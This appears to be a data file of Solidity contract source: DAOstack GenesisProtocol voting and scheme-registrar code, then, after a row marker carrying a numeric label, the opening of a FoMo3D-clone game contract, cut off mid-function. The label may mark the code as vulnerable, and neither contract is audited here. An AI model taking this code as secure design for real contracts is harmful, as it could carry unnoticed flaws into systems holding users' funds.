require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract SchemeRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string _descriptionHash
);
event RemoveSchemeProposal(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct SchemeProposal {
address scheme;
bool addScheme;
bytes32 parametersHash;
bytes4 permissions;
}
mapping(address=>mapping(bytes32=>SchemeProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteRegisterParams;
bytes32 voteRemoveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
SchemeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.scheme != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addScheme) {
require(controller.registerScheme(
proposal.scheme,
proposal.parametersHash,
proposal.permissions,
address(avatar))
);
}
if (!proposal.addScheme) {
require(controller.unregisterScheme(proposal.scheme, address(avatar)));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _voteRemoveParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].voteRemoveParams = _voteRemoveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteRegisterParams, _voteRemoveParams, _intVote));
}
function proposeScheme(
Avatar _avatar,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string memory _descriptionHash
)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 proposalId = controllerParams.intVote.propose(
2,
controllerParams.voteRegisterParams,
msg.sender,
address(_avatar)
);
SchemeProposal memory proposal = SchemeProposal({
scheme: _scheme,
parametersHash: _parametersHash,
addScheme: true,
permissions: _permissions
});
emit NewSchemeProposal(
address(_avatar),
proposalId,
address(controllerParams.intVote),
_scheme, _parametersHash,
_permissions,
_descriptionHash
);
organizationsProposals[address(_avatar)][proposalId] = proposal;
proposalsInfo[address(controllerParams.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeToRemoveScheme(Avatar _avatar, address _scheme, string memory _descriptionHash)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
bytes32 paramsHash = getParametersFromController(_avatar);
Parameters memory params = parameters[paramsHash];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteRemoveParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId].scheme = _scheme;
emit RemoveSchemeProposal(address(_avatar), proposalId, address(intVote), _scheme, _descriptionHash);
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
} | 1 | 3,504 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract DiviesCTR {
function deposit() public payable;
}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesCTR constant private Divies = DiviesCTR(0x88B30117e7EaFCDa49542D5530D383146ca9af70);
address constant private FeeAddr = 0x1C7584476a8d586c3dd8f83864D0d5cd214492E9;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x30aa3C69fE10022Bca0A158b42FFC739Aa10b1e5);
string constant public name = "Break the Bank";
string constant public symbol = "BTB";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 1 hours;
uint256 constant private rndInit_ = 8 hours;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 8 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(56,10);
fees_[1] = F3Ddatasets.TeamFee(56,10);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(56,10);
potSplit_[0] = F3Ddatasets.PotSplit(20,20);
potSplit_[1] = F3Ddatasets.PotSplit(20,20);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
